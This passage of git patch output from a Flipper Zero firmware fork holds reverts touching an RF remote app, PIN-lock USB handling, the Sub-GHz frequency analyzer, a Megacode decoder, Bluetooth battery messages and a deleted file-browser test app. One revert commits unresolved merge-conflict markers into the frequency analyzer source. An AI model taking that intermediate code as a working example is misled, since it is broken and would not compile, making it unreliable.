universal_rf_remote_app(void* p) { input_get_type_name(event.type)); if(event.key == InputKeyRight) { + if(event.type == InputTypePress) { state->press[0] = true; + } else if(event.type == InputTypeRelease) { + state->press[0] = false; + } else if(event.type == InputTypeShort) { + state->press[0] = false; + } } else if(event.key == InputKeyLeft) { + if(event.type == InputTypePress) { state->press[1] = true; + } else if(event.type == InputTypeRelease) { + state->press[1] = false; + } else if(event.type == InputTypeShort) { + state->press[1] = false; + } } else if(event.key == InputKeyUp) { + if(event.type == InputTypePress) { state->press[2] = true; + } else if(event.type == InputTypeRelease) { + state->press[2] = false; + } else if(event.type == InputTypeShort) { + state->press[2] = false; + } } else if(event.key == InputKeyDown) { + if(event.type == InputTypePress) { state->press[3] = true; + } else if(event.type == InputTypeRelease) { + state->press[3] = false; + } else if(event.type == InputTypeShort) { + state->press[3] = false; + } } else if(event.key == InputKeyOk) { + if(event.type == InputTypePress) { state->press[4] = true; + } else if(event.type == InputTypeRelease) { + state->press[4] = false; + } else if(event.type == InputTypeShort) { + state->press[4] = false; + } } else if(event.key == InputKeyBack) { + if(event.type == InputTypeLong) { release_mutex(&state_mutex, state); break; + } else if(event.type == InputTypeShort) { + remote_reset_state(state); + } } release_mutex(&state_mutex, state); view_port_update(view_port); } + // remove & free all stuff created by app gui_remove_view_port(gui, view_port); view_port_free(view_port); osMessageQueueDelete(event_queue); @@ -270,5 +299,5 @@ int32_t universal_rf_remote_app(void* p) { furi_record_close("gui"); - return(0); -} \ No newline at end of file + return 0; +} From a3e595575dedac578e2978fa7e03787f77bd04bb Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:04:33 +0300 Subject: [PATCH 184/461] Revert "Merge branch 'flipperdevices:dev' into dev" This reverts commit 692f180f2ee1b5e1b651f6b1526a9bf808ebd9c4, reversing changes made to c12fc57997b614b37bd503adcddc9d6518ba1a09. --- applications/desktop/helpers/pin_lock.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/applications/desktop/helpers/pin_lock.c b/applications/desktop/helpers/pin_lock.c index d63398d96..00ac41778 100644 --- a/applications/desktop/helpers/pin_lock.c +++ b/applications/desktop/helpers/pin_lock.c @@ -100,12 +100,11 @@ void desktop_pin_lock_init(DesktopSettings* settings) { } else { furi_hal_rtc_set_pin_fails(0); furi_hal_rtc_reset_flag(FuriHalRtcFlagLock); + furi_hal_usb_enable(); } if(desktop_pin_lock_is_locked()) { - Cli* cli = furi_record_open("cli"); - cli_session_close(cli); - furi_record_close("cli"); + furi_hal_usb_disable(); } } From 1c0f8aa1e8ef31f20f3d86c7a5e210b98dab0560 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:04:39 +0300 Subject: [PATCH 185/461] Revert "fetch upstream" This reverts commit c12fc57997b614b37bd503adcddc9d6518ba1a09. --- .../subghz_frequency_analyzer_worker.c | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index 88e2a621c..478bec7c9 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -5,9 +5,13 @@ #include "../subghz_i.h" +<<<<<<< HEAD +#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -90.0f +======= #define TAG "SubghzFrequencyAnalyzerWorker" #define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -95.0f +>>>>>>> upstream/dev static const uint8_t subghz_preset_ook_58khz[][2] = { {CC1101_MDMCFG4, 0b11110111}, // Rx BW filter is 58.035714kHz @@ -37,7 +41,11 @@ struct SubGhzFrequencyAnalyzerWorker { static void subghz_frequency_analyzer_worker_load_registers(const uint8_t data[][2]) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); +<<<<<<< HEAD + uint32_t i = 0; +======= size_t i = 0; +>>>>>>> upstream/dev while(data[i][0]) { cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, data[i][0], data[i][1]); i++; @@ -70,8 +78,14 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { SubGhzFrequencyAnalyzerWorker* instance = context; FrequencyRSSI frequency_rssi = {.frequency = 0, .rssi = 0}; +<<<<<<< HEAD + float rssi; + uint32_t frequency; + uint32_t frequency_start; +======= float rssi = 0; uint32_t frequency = 0; +>>>>>>> upstream/dev CC1101Status status; //Start CC1101 @@ -81,6 +95,20 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_flush_rx(&furi_hal_spi_bus_handle_subghz); cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); +<<<<<<< HEAD + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL2, + 0b0000111); // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL1, + 0b00000000); // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL0, + 0b00000001); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 00 - 8 samples agc; 00 - Normal AGC, 01 - 8dB boundary +======= cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_MDMCFG3, 0b11111111); // symbol rate cc1101_write_reg( @@ -95,6 +123,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { &furi_hal_spi_bus_handle_subghz, CC1101_AGCCTRL0, 0b00110000); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 11 - 64 samples agc; 00 - Normal AGC, 00 - 4dB boundary +>>>>>>> upstream/dev furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); @@ -111,7 +140,10 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { furi_hal_subghz_idle(); subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_650khz); +<<<<<<< HEAD +======= // First stage: coarse scan +>>>>>>> upstream/dev for(size_t i = 0; i < subghz_setting_get_frequency_count(instance->setting); i++) { if(furi_hal_subghz_is_frequency_valid( subghz_setting_get_frequency(instance->setting, i))) { @@ -129,9 +161,13 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); +<<<<<<< HEAD + osDelay(3); +======= // delay will be in range between 1 and 2ms osDelay(2); +>>>>>>> upstream/dev rssi = furi_hal_subghz_get_rssi(); rssi_avg += rssi; @@ -146,6 +182,16 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } +<<<<<<< HEAD + if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { + // -0.5 ... 433.92 ... +0.5 + frequency_start = frequency_rssi.frequency - 500000; + frequency_rssi.rssi = -127.0; + furi_hal_subghz_idle(); + subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); + //step 10KHz + for(uint32_t i = frequency_start; i < frequency_start + 500000; i += 10000) { +======= FURI_LOG_T( TAG, "RSSI: avg %f, max %f at %u, min %f", @@ -165,6 +211,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { for(uint32_t i = frequency_rssi.frequency - 300000; i < frequency_rssi.frequency + 300000; i += 20000) { +>>>>>>> upstream/dev if(furi_hal_subghz_is_frequency_valid(i)) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); @@ -178,9 +225,13 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); +<<<<<<< HEAD + osDelay(5); +======= // delay will be in range between 1 and 2ms osDelay(2); +>>>>>>> upstream/dev rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; @@ -190,11 +241,16 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } +<<<<<<< HEAD + if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { + instance->count_repet = 20; +======= // Deliver results if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { FURI_LOG_D(TAG, "=:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); instance->sample_hold_counter = 20; +>>>>>>> upstream/dev if(instance->filVal) { frequency_rssi.frequency = subghz_frequency_analyzer_worker_expRunningAverageAdaptive( From ad182e7d33d6133f00616627e4a603cab6e52882 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:04:52 +0300 Subject: [PATCH 186/461] Revert "fetch upstream" This reverts commit 911404e881dce7ec8ed8ccc0257324a6172889df, reversing changes made to fec75233119a4fbd3aed75881f2e815556e35478. --- .../subghz_frequency_analyzer_worker.c | 110 +++--------------- lib/subghz/protocols/megacode.c | 11 +- 2 files changed, 18 insertions(+), 103 deletions(-) diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index 478bec7c9..aedd666df 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -5,22 +5,22 @@ #include "../subghz_i.h" -<<<<<<< HEAD #define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -90.0f -======= -#define TAG "SubghzFrequencyAnalyzerWorker" - -#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -95.0f ->>>>>>> upstream/dev static const uint8_t subghz_preset_ook_58khz[][2] = { - {CC1101_MDMCFG4, 0b11110111}, // Rx BW filter is 58.035714kHz + {CC1101_FIFOTHR, 0x47}, // The only important bit is ADC_RETENTION, FIFO Tx=33 Rx=32 + {CC1101_MDMCFG4, 0xF5}, // Rx BW filter is 58.035714kHz + {CC1101_TEST2, 0x81}, // FIFOTHR ADC_RETENTION=1 matched value + {CC1101_TEST1, 0x35}, // FIFOTHR ADC_RETENTION=1 matched value /* End */ {0, 0}, }; static const uint8_t subghz_preset_ook_650khz[][2] = { - {CC1101_MDMCFG4, 0b00010111}, // Rx BW filter is 650.000kHz + {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION + {CC1101_MDMCFG4, 0x17}, // Rx BW filter is 650.000kHz + {CC1101_TEST2, 0x88}, + {CC1101_TEST1, 0x31}, /* End */ {0, 0}, }; @@ -29,7 +29,7 @@ struct SubGhzFrequencyAnalyzerWorker { FuriThread* thread; volatile bool worker_running; - uint8_t sample_hold_counter; + uint8_t count_repet; FrequencyRSSI frequency_rssi_buf; SubGhzSetting* setting; @@ -41,11 +41,7 @@ struct SubGhzFrequencyAnalyzerWorker { static void subghz_frequency_analyzer_worker_load_registers(const uint8_t data[][2]) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); -<<<<<<< HEAD uint32_t i = 0; -======= - size_t i = 0; ->>>>>>> upstream/dev while(data[i][0]) { cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, data[i][0], data[i][1]); i++; @@ -78,14 +74,9 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { SubGhzFrequencyAnalyzerWorker* instance = context; FrequencyRSSI frequency_rssi = {.frequency = 0, .rssi = 0}; -<<<<<<< HEAD float rssi; uint32_t frequency; uint32_t frequency_start; -======= - float rssi = 0; - uint32_t frequency = 0; ->>>>>>> upstream/dev CC1101Status status; //Start CC1101 @@ -95,7 +86,6 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_flush_rx(&furi_hal_spi_bus_handle_subghz); cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); -<<<<<<< HEAD cc1101_write_reg( &furi_hal_spi_bus_handle_subghz, CC1101_AGCCTRL2, @@ -108,22 +98,6 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { &furi_hal_spi_bus_handle_subghz, CC1101_AGCCTRL0, 0b00000001); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 00 - 8 samples agc; 00 - Normal AGC, 01 - 8dB boundary -======= - cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_MDMCFG3, - 0b11111111); // symbol rate - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL2, - 0b00000111); // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAGN_TARGET 42 dB - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL1, - 0b00001000); // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 1000 - Absolute carrier sense threshold disabled - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL0, - 0b00110000); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 11 - 64 samples agc; 00 - Normal AGC, 00 - 4dB boundary ->>>>>>> upstream/dev furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); @@ -131,19 +105,10 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { while(instance->worker_running) { osDelay(10); - - float rssi_min = 26.0f; - float rssi_avg = 0; - size_t rssi_avg_samples = 0; - frequency_rssi.rssi = -127.0f; furi_hal_subghz_idle(); subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_650khz); -<<<<<<< HEAD -======= - // First stage: coarse scan ->>>>>>> upstream/dev for(size_t i = 0; i < subghz_setting_get_frequency_count(instance->setting); i++) { if(furi_hal_subghz_is_frequency_valid( subghz_setting_get_frequency(instance->setting, i))) { @@ -161,20 +126,8 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); -<<<<<<< HEAD osDelay(3); -======= - // delay will be in range between 1 and 2ms - osDelay(2); - ->>>>>>> upstream/dev rssi = furi_hal_subghz_get_rssi(); - - rssi_avg += rssi; - rssi_avg_samples++; - - if(rssi < rssi_min) rssi_min = rssi; - if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; frequency_rssi.frequency = frequency; @@ -182,7 +135,6 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } -<<<<<<< HEAD if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { // -0.5 ... 433.92 ... +0.5 frequency_start = frequency_rssi.frequency - 500000; @@ -191,27 +143,6 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); //step 10KHz for(uint32_t i = frequency_start; i < frequency_start + 500000; i += 10000) { -======= - FURI_LOG_T( - TAG, - "RSSI: avg %f, max %f at %u, min %f", - (double)(rssi_avg / rssi_avg_samples), - (double)frequency_rssi.rssi, - frequency_rssi.frequency, - (double)rssi_min); - - // Second stage: fine scan - if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { - FURI_LOG_D(TAG, "~:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); - - frequency_rssi.rssi = -127.0; - furi_hal_subghz_idle(); - subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); - //-0.3 ... 433.92 ... +0.3 step 10KHz - for(uint32_t i = frequency_rssi.frequency - 300000; - i < frequency_rssi.frequency + 300000; - i += 20000) { ->>>>>>> upstream/dev if(furi_hal_subghz_is_frequency_valid(i)) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); @@ -225,13 +156,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); -<<<<<<< HEAD osDelay(5); -======= - // delay will be in range between 1 and 2ms - osDelay(2); - ->>>>>>> upstream/dev rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; @@ -241,29 +166,20 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } -<<<<<<< HEAD if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { instance->count_repet = 20; -======= - // Deliver results - if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { - FURI_LOG_D(TAG, "=:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); - - instance->sample_hold_counter = 20; ->>>>>>> upstream/dev if(instance->filVal) { frequency_rssi.frequency = subghz_frequency_analyzer_worker_expRunningAverageAdaptive( instance, frequency_rssi.frequency); } - // Deliver callback - if(instance->pair_callback) { + if(instance->pair_callback) instance->pair_callback( instance->context, frequency_rssi.frequency, frequency_rssi.rssi); - } + } else { - if(instance->sample_hold_counter > 0) { - instance->sample_hold_counter--; + if(instance->count_repet > 0) { + instance->count_repet--; } else { instance->filVal = 0; if(instance->pair_callback) instance->pair_callback(instance->context, 0, 0); diff --git a/lib/subghz/protocols/megacode.c b/lib/subghz/protocols/megacode.c index 6f6240a62..48a6908e9 100644 --- a/lib/subghz/protocols/megacode.c +++ b/lib/subghz/protocols/megacode.c @@ -401,14 +401,13 @@ void subghz_protocol_decoder_megacode_get_string(void* context, string_t output) string_cat_printf( output, "%s %dbit\r\n" - "Key:0x%06lX\r\n" - "Sn:0x%04lX - %d\r\n" - "Facility:%X Btn:%X\r\n", + "Key:%06lX\r\n" + "Sn:%04lX Btn:%X\r\n" + "Facility:%X\r\n", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)instance->generic.data, instance->generic.serial, - instance->generic.serial, - instance->generic.cnt, - instance->generic.btn); + instance->generic.btn, + instance->generic.cnt); } From 016f0f34930e19781f2896e8cf7f639c32440e20 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:05:01 +0300 Subject: [PATCH 187/461] Revert "upd wplugins" This reverts commit fec75233119a4fbd3aed75881f2e815556e35478. --- applications/applications.c | 9 - applications/applications.mk | 6 - applications/bt/bt_service/bt.c | 16 +- applications/bt/bt_service/bt_i.h | 2 - .../file_browser_test/file_browser_app.c | 99 ---- .../file_browser_test/file_browser_app_i.h | 32 -- .../scenes/file_browser_scene.c | 30 - .../scenes/file_browser_scene.h | 29 - .../scenes/file_browser_scene_browser.c | 45 -- .../scenes/file_browser_scene_config.h | 3 - .../scenes/file_browser_scene_result.c | 36 -- .../scenes/file_browser_scene_start.c | 44 -- applications/gui/modules/file_browser.c | 532 ------------------ applications/gui/modules/file_browser.h | 39 -- .../gui/modules/file_browser_worker.c | 420 -------------- .../gui/modules/file_browser_worker.h | 57 -- .../subghz_frequency_analyzer_worker.c | 85 +-- assets/compiled/assets_icons.c | 8 - assets/compiled/assets_icons.h | 2 - assets/icons/Archive/back_10px.png | Bin 154 -> 0 bytes assets/icons/Archive/loading_10px.png | Bin 173 -> 0 bytes firmware/targets/f7/ble_glue/app_conf.h | 2 +- .../targets/f7/ble_glue/battery_service.c | 96 +--- .../targets/f7/ble_glue/battery_service.h | 2 - firmware/targets/f7/ble_glue/serial_service.c | 17 - firmware/targets/f7/furi_hal/furi_hal_bt.c | 6 - .../targets/furi_hal_include/furi_hal_bt.h | 6 - 27 files changed, 29 insertions(+), 1594 deletions(-) delete mode 100644 applications/debug_tools/file_browser_test/file_browser_app.c delete mode 100644 applications/debug_tools/file_browser_test/file_browser_app_i.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c delete mode 100644 applications/gui/modules/file_browser.c delete mode 100644 applications/gui/modules/file_browser.h delete mode 100644 applications/gui/modules/file_browser_worker.c delete mode 100644 applications/gui/modules/file_browser_worker.h delete mode 100644 assets/icons/Archive/back_10px.png delete mode 100644 assets/icons/Archive/loading_10px.png diff --git a/applications/applications.c b/applications/applications.c index 4e3b8087a..e1e58c327 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -47,7 +47,6 @@ extern int32_t vibro_test_app(void* p); extern int32_t bt_hid_app(void* p); extern int32_t battery_test_app(void* p); extern int32_t text_box_test_app(void* p); -extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); @@ -531,14 +530,6 @@ const FlipperApplication FLIPPER_DEBUG_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_FILE_BROWSER_TEST - {.app = file_browser_app, - .name = "File Browser test", - .stack_size = 2048, - .icon = &A_BadUsb_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_BATTERY_TEST {.app = battery_test_app, .name = "Battery Test", diff --git a/applications/applications.mk b/applications/applications.mk index 95f060df6..1e5a22cbb 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -70,7 +70,6 @@ APP_USB_MOUSE = 1 APP_BAD_USB = 1 APP_U2F = 1 APP_UART_ECHO = 1 -APP_FILE_BROWSER_TEST = 1 endif @@ -229,11 +228,6 @@ CFLAGS += -DAPP_KEYPAD_TEST SRV_GUI = 1 endif -APP_FILE_BROWSER_TEST ?= 0 -ifeq ($(APP_FILE_BROWSER_TEST), 1) -CFLAGS += -DAPP_FILE_BROWSER_TEST -SRV_GUI = 1 -endif APP_ACCESSOR ?= 0 ifeq ($(APP_ACCESSOR), 1) diff --git a/applications/bt/bt_service/bt.c b/applications/bt/bt_service/bt.c index b14a6c453..111ebcb24 100755 --- a/applications/bt/bt_service/bt.c +++ b/applications/bt/bt_service/bt.c @@ -91,19 +91,11 @@ static void bt_battery_level_changed_callback(const void* _event, void* context) furi_assert(context); Bt* bt = context; - BtMessage message = {}; const PowerEvent* event = _event; if(event->type == PowerEventTypeBatteryLevelChanged) { - message.type = BtMessageTypeUpdateBatteryLevel; - message.data.battery_level = event->data.battery_level; - furi_check(osMessageQueuePut(bt->message_queue, &message, 0, osWaitForever) == osOK); - } else if(event->type == PowerEventTypeStartCharging || event->type == PowerEventTypeFullyCharged) { - message.type = BtMessageTypeUpdatePowerState; - message.data.battery_is_charging = true; - furi_check(osMessageQueuePut(bt->message_queue, &message, 0, osWaitForever) == osOK); - } else if(event->type == PowerEventTypeStopCharging) { - message.type = BtMessageTypeUpdatePowerState; - message.data.battery_is_charging = false; + BtMessage message = { + .type = BtMessageTypeUpdateBatteryLevel, + .data.battery_level = event->data.battery_level}; furi_check(osMessageQueuePut(bt->message_queue, &message, 0, osWaitForever) == osOK); } } @@ -376,8 +368,6 @@ int32_t bt_srv() { } else if(message.type == BtMessageTypeUpdateBatteryLevel) { // Update battery level furi_hal_bt_update_battery_level(message.data.battery_level); - } else if(message.type == BtMessageTypeUpdatePowerState) { - furi_hal_bt_update_power_state(message.data.battery_is_charging); } else if(message.type == BtMessageTypePinCodeShow) { // Display PIN code bt_pin_code_show(bt, message.data.pin_code); diff --git a/applications/bt/bt_service/bt_i.h b/applications/bt/bt_service/bt_i.h index a73b10c93..610c09056 100644 --- a/applications/bt/bt_service/bt_i.h +++ b/applications/bt/bt_service/bt_i.h @@ -21,7 +21,6 @@ typedef enum { BtMessageTypeUpdateStatus, BtMessageTypeUpdateBatteryLevel, - BtMessageTypeUpdatePowerState, BtMessageTypePinCodeShow, BtMessageTypeKeysStorageUpdated, BtMessageTypeSetProfile, @@ -32,7 +31,6 @@ typedef union { uint32_t pin_code; uint8_t battery_level; BtProfile profile; - bool battery_is_charging; } BtMessageData; typedef struct { diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c deleted file mode 100644 index a408f5cde..000000000 --- a/applications/debug_tools/file_browser_test/file_browser_app.c +++ /dev/null @@ -1,99 +0,0 @@ -#include "assets_icons.h" -#include "file_browser_app_i.h" -#include "gui/modules/file_browser.h" -#include "m-string.h" -#include -#include -#include -#include - -static bool file_browser_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - FileBrowserApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool file_browser_app_back_event_callback(void* context) { - furi_assert(context); - FileBrowserApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void file_browser_app_tick_event_callback(void* context) { - furi_assert(context); - FileBrowserApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -FileBrowserApp* file_browser_app_alloc(char* arg) { - UNUSED(arg); - FileBrowserApp* app = malloc(sizeof(FileBrowserApp)); - - app->gui = furi_record_open("gui"); - app->dialogs = furi_record_open("dialogs"); - - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - app->scene_manager = scene_manager_alloc(&file_browser_scene_handlers, app); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, file_browser_app_tick_event_callback, 500); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, file_browser_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, file_browser_app_back_event_callback); - - app->widget = widget_alloc(); - - string_init(app->file_path); - app->file_browser = file_browser_alloc(&(app->file_path)); - file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); - - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewStart, widget_get_view(app->widget)); - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewResult, widget_get_view(app->widget)); - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewBrowser, file_browser_get_view(app->file_browser)); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - scene_manager_next_scene(app->scene_manager, FileBrowserSceneStart); - - return app; -} - -void file_browser_app_free(FileBrowserApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewStart); - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewResult); - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewBrowser); - widget_free(app->widget); - file_browser_free(app->file_browser); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Close records - furi_record_close("gui"); - furi_record_close("notification"); - furi_record_close("dialogs"); - - string_clear(app->file_path); - - free(app); -} - -int32_t file_browser_app(void* p) { - FileBrowserApp* file_browser_app = file_browser_app_alloc((char*)p); - - view_dispatcher_run(file_browser_app->view_dispatcher); - - file_browser_app_free(file_browser_app); - return 0; -} diff --git a/applications/debug_tools/file_browser_test/file_browser_app_i.h b/applications/debug_tools/file_browser_test/file_browser_app_i.h deleted file mode 100644 index 6e8412c9b..000000000 --- a/applications/debug_tools/file_browser_test/file_browser_app_i.h +++ /dev/null @@ -1,32 +0,0 @@ -#pragma once - -#include "scenes/file_browser_scene.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -typedef struct FileBrowserApp FileBrowserApp; - -struct FileBrowserApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - DialogsApp* dialogs; - Widget* widget; - FileBrowser* file_browser; - - string_t file_path; -}; - -typedef enum { - FileBrowserAppViewStart, - FileBrowserAppViewBrowser, - FileBrowserAppViewResult, -} FileBrowserAppView; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c deleted file mode 100644 index 72a6e84d7..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "file_browser_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const file_browser_scene_on_enter_handlers[])(void*) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const file_browser_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const file_browser_scene_on_exit_handlers[])(void* context) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers file_browser_scene_handlers = { - .on_enter_handlers = file_browser_scene_on_enter_handlers, - .on_event_handlers = file_browser_scene_on_event_handlers, - .on_exit_handlers = file_browser_scene_on_exit_handlers, - .scene_num = FileBrowserSceneNum, -}; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h deleted file mode 100644 index d690fca9f..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// 